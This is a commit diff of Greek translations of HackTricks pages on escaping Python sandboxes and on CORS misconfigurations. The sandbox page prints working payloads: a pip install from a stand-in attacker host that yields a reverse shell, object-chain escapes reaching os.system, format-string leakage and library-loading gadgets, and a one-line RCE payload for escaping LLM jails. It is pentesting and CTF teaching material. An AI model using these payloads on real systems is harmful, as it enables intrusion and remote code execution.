Translated ['generic-methodologies-and-resources/python/bypass-python-sa

This commit is contained in:
Translator 2024-11-12 10:23:01 +00:00
parent a44e74e3df
commit f7fdf1fdf1
3 changed files with 91 additions and 72 deletions

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
@ -23,8 +23,6 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
## Command Execution Libraries
@ -95,9 +93,9 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
### Πακέτο Pip
Τέχνασμα που μοιράστηκε ο **@isHaacK**
Τέχνασμα που μοιράστηκε από **@isHaacK**
Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -342,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
**Python2**
```python
@ -402,7 +400,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals and locals
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
Η έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -434,7 +432,7 @@ class_obj.__init__.__globals__
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -464,7 +462,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους**:
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -708,7 +706,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@ -738,7 +736,7 @@ return 'HAL 9000'
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Ευαίσθητες Πληροφορίες Διάχυσης Payloads
### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -754,18 +752,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### Από τη μορφή στην εκτέλεση κώδικα φορτώνοντας βιβλιοθήκες
### LLM Jails bypass
Σύμφωνα με την [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Από τη μορφή στη φόρτωση βιβλιοθηκών RCE
Σύμφωνα με το [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, το `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
Έχετε περισσότερα όπως αυτό στην ενότητα [**Εκτέλεση Python χωρίς κλήσεις**](./#python-execution-without-calls).
Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Μια ευπάθεια μορφής συμβολοσειράς python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**ερώτηση αναζήτησης στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Εκεί βρήκε αυτό [το ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -787,7 +789,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη για να φορτωθεί** σωστά στον επιτιθέμενο διακομιστή.
Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη για να φορτωθεί** σωστά κατασκευασμένη στον επιτιθέμενο διακομιστή.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -1010,7 +1012,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
@ -1069,7 +1071,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
θα παρακαμφθεί
will be bypassed
## Αναφορές
@ -1080,11 +1082,11 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
## Τι είναι το CORS;
Ο κανόνας Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να καθορίσουν ποιος μπορεί να έχει πρόσβαση στα περιουσιακά τους στοιχεία** και **ποιοι μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
Ο κανόνας Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να καθορίζουν ποιος μπορεί να έχει πρόσβαση στα περιουσιακά τους στοιχεία** και **ποιοι μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
Μια πολιτική **ίδιου προέλευσης** απαιτεί ο **διακομιστής που ζητά** έναν πόρο και ο διακομιστής που φιλοξενεί τον **πόρο** να μοιράζονται το ίδιο πρωτόκολλο (π.χ., `http://`), όνομα τομέα (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Σύμφωνα με αυτή την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και θύρα επιτρέπεται να έχουν πρόσβαση στους πόρους.
@ -46,7 +46,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
### `Access-Control-Allow-Credentials` Header
Κατά **προεπιλογή**, οι διασυνδεδεμένες αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως cookies ή την κεφαλίδα Authorization. Ωστόσο, ένας διασυνδεδεμένος διακομιστής μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια, ρυθμίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Κατά **προεπιλογή**, οι διασυνδεδεμένες αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως cookies ή την κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασύνδεσης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια, ρυθμίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Εάν ρυθμιστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
```javascript
@ -77,15 +77,15 @@ xhr.send('<person><name>Arun</name></person>');
```
### CSRF Pre-flight request
### Understanding Pre-flight Requests in Cross-Domain Communication
### Κατανόηση των Προ-πτήσεων σε Διασυνοριακή Επικοινωνία
Όταν ξεκινάτε ένα αίτημα διασύνδεσης μεταξύ τομέων υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη τυπικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων** ή η χρήση μιας ειδικής **τιμής κεφαλίδας Content-Type**, μπορεί να απαιτείται ένα προ-αίτημα. Αυτό το προκαταρκτικό αίτημα, που εκμεταλλεύεται τη μέθοδο **`OPTIONS`**, έχει σκοπό να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
Όταν ξεκινάτε ένα διασυνοριακό αίτημα υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη τυπικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων**, ή η χρήση μιας ειδικής **τιμής κεφαλίδας Content-Type**, μπορεί να απαιτείται μια προ-πτήση αίτημα. Αυτό το προκαταρκτικό αίτημα, που εκμεταλλεύεται τη μέθοδο **`OPTIONS`**, έχει σκοπό να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτή την προ-αίτηση για να προσδιορίσει την εφικτότητα της ζητούμενης διασυνοριακής λειτουργίας, επαληθεύοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για προ-αίτημα, ανατρέξτε στον εκτενή οδηγό που παρέχεται από [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτή την προ-πτήση έλεγχο για να προσδιορίσει τη δυνατότητα της ζητούμενης διασυνοριακής λειτουργίας, επαληθεύοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για προ-πτήση αίτημα, ανατρέξτε στον εκτενή οδηγό που παρέχεται από [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Είναι κρίσιμο να σημειωθεί ότι **η απουσία προ-αίτησης δεν αναιρεί την απαίτηση για την απάντηση να φέρει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.
Είναι κρίσιμο να σημειωθεί ότι η **απουσία προ-πτήσης αιτήματος δεν αναιρεί την απαίτηση για την απάντηση να φέρει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.
Σκεφτείτε την παρακάτω απεικόνιση ενός προ-αιτήματος που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα που ονομάζεται `Special-Request-Header`:
Σκεφτείτε την παρακάτω απεικόνιση ενός προ-πτήσης αιτήματος που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα που ονομάζεται `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -104,22 +104,22 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Αυτός ο επικεφαλής καθορίζει ποιοι επικεφαλής μπορούν να χρησιμοποιηθούν κατά τη διάρκεια του πραγματικού αιτήματος. Ρυθμίζεται από τον διακομιστή για να υποδείξει τους επιτρεπόμενους επικεφαλής σε αιτήματα από τον πελάτη.
* **`Access-Control-Expose-Headers`**: Μέσω αυτού του επικεφαλής, ο διακομιστής ενημερώνει τον πελάτη σχετικά με ποιοι επικεφαλής μπορούν να εκτεθούν ως μέρος της απάντησης εκτός από τους απλούς επικεφαλής απάντησης.
* **`Access-Control-Max-Age`**: Αυτός ο επικεφαλής υποδεικνύει πόσο καιρό μπορούν να αποθηκευτούν τα αποτελέσματα ενός προ-πτήσης αιτήματος. Ο διακομιστής ρυθμίζει τον μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα προ-πτήσης αίτημα μπορεί να επαναχρησιμοποιηθούν.
* **`Access-Control-Request-Headers`**: Χρησιμοποιούμενος σε προ-πτήσης αιτήματα, αυτός ο επικεφαλής ρυθμίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με ποιοι HTTP επικεφαλής θέλει να χρησιμοποιήσει ο πελάτης στο πραγματικό αίτημα.
* **`Access-Control-Request-Method`**: Αυτός ο επικεφαλής, που χρησιμοποιείται επίσης σε προ-πτήσης αιτήματα, ρυθμίζεται από τον πελάτη για να υποδείξει ποια HTTP μέθοδος θα χρησιμοποιηθεί στο πραγματικό αίτημα.
* **`Origin`**: Αυτός ο επικεφαλής ρυθμίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του διασυνοριακού αιτήματος. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει αν το εισερχόμενο αίτημα θα πρέπει να επιτραπεί ή να απορριφθεί με βάση την πολιτική CORS.
* **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά τη διάρκεια του πραγματικού αιτήματος. Ρυθμίζεται από τον διακομιστή για να υποδείξει τις επιτρεπόμενες κεφαλίδες σε αιτήματα από τον πελάτη.
* **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με ποιες κεφαλίδες μπορούν να εκτεθούν ως μέρος της απάντησης εκτός από τις απλές κεφαλίδες απάντησης.
* **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να αποθηκευτούν τα αποτελέσματα ενός προ-αιτήματος. Ο διακομιστής ρυθμίζει τον μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα προ-αίτημα μπορεί να επαναχρησιμοποιηθούν.
* **`Access-Control-Request-Headers`**: Χρησιμοποιούμενη σε προ-αιτήματα, αυτή η κεφαλίδα ρυθμίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με ποιες κεφαλίδες HTTP θέλει να χρησιμοποιήσει ο πελάτης στο πραγματικό αίτημα.
* **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, που χρησιμοποιείται επίσης σε προ-αιτήματα, ρυθμίζεται από τον πελάτη για να υποδείξει ποια μέθοδος HTTP θα χρησιμοποιηθεί στο πραγματικό αίτημα.
* **`Origin`**: Αυτή η κεφαλίδα ρυθμίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος από διαφορετική προέλευση. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει αν το εισερχόμενο αίτημα θα πρέπει να επιτραπεί ή να απορριφθεί με βάση την πολιτική CORS.
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τους επικεφαλής που έχουν ρυθμιστεί) σε ένα **GET/POST αίτημα δεν αποστέλλεται κανένα προ-πτήσης αίτημα** (το αίτημα αποστέλλεται **άμεσα**), αλλά αν θέλετε να αποκτήσετε πρόσβαση στους **επικεφαλής/σώμα της απάντησης**, πρέπει να περιέχει έναν _Access-Control-Allow-Origin_ επικεφαλή που να το επιτρέπει.\
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που έχουν ρυθμιστεί) σε ένα **GET/POST αίτημα δεν αποστέλλεται προ-αίτημα** (το αίτημα αποστέλλεται **άμεσα**), αλλά αν θέλετε να αποκτήσετε πρόσβαση στις **κεφαλίδες/σώμα της απάντησης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που να το επιτρέπει.\
**Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).**
### **Τοπικά Δίκτυα Αιτήματα Προ-πτήσης Αίτημα**
### **Τοπικά Δίκτυα Αιτήματα Προ-αίτημα**
1. **`Access-Control-Request-Local-Network`**: Αυτός ο επικεφαλής περιλαμβάνεται στο αίτημα του πελάτη για να δηλώσει ότι η έρευνα απευθύνεται σε πόρο τοπικού δικτύου. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το τοπικό δίκτυο.
2. **`Access-Control-Allow-Local-Network`**: Σε απάντηση, οι διακομιστές χρησιμοποιούν αυτόν τον επικεφαλή για να επικοινωνήσουν ότι ο ζητούμενος πόρος επιτρέπεται να κοινοποιηθεί σε οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα δίκτυα, διασφαλίζοντας ελεγχόμενη πρόσβαση ενώ διατηρεί τα πρωτόκολλα ασφαλείας.
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα περιλαμβάνεται στο αίτημα του πελάτη για να δηλώσει ότι η έρευνα απευθύνεται σε πόρο τοπικού δικτύου. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το τοπικό δίκτυο.
2. **`Access-Control-Allow-Local-Network`**: Σε απάντηση, οι διακομιστές χρησιμοποιούν αυτή την κεφαλίδα για να επικοινωνήσουν ότι ο ζητούμενος πόρος επιτρέπεται να κοινοποιηθεί σε οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα δίκτυα, διασφαλίζοντας ελεγχόμενη πρόσβαση ενώ διατηρεί τα πρωτόκολλα ασφαλείας.
Μια **έγκυρη απάντηση που επιτρέπει το αίτημα τοπικού δικτύου** πρέπει να έχει επίσης στην απάντηση τον επικεφαλή `Access-Controls-Allow-Local_network: true`:
Μια **έγκυρη απάντηση που επιτρέπει το αίτημα τοπικού δικτύου** πρέπει να έχει επίσης στην απάντηση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
@ -133,7 +133,7 @@ Content-Length: 0
{% hint style="warning" %}
Σημειώστε ότι η διεύθυνση IP **0.0.0.0** του linux λειτουργεί για να **παρακάμψει** αυτές τις απαιτήσεις για πρόσβαση στο localhost, καθώς αυτή η διεύθυνση IP δεν θεωρείται "τοπική".
Είναι επίσης δυνατό να **παρακάμψετε τις απαιτήσεις Τοπικού Δικτύου** αν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια IP του δρομολογητή). Διότι σε πολλές περιπτώσεις, ακόμη και αν η **δημόσια IP** προσπελάζεται, αν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα παραχωρηθεί.
Είναι επίσης δυνατό να **παρακάμψετε τις απαιτήσεις Τοπικού Δικτύου** αν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια διεύθυνση IP του δρομολογητή). Διότι σε πολλές περιπτώσεις, ακόμη και αν η **δημόσια IP** προσπελάζεται, αν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα παραχωρηθεί.
{% endhint %}
### Wildcards
@ -143,19 +143,19 @@ Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
Αυτό δεν επιτρέπεται από τους περιηγητές και επομένως τα διαπιστευτήρια δεν θα σταλούν με το αίτημα που επιτρέπεται από αυτό.
## Exploitable misconfigurations
## Εκμεταλλεύσιμες κακοδιαμορφώσεις
It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.
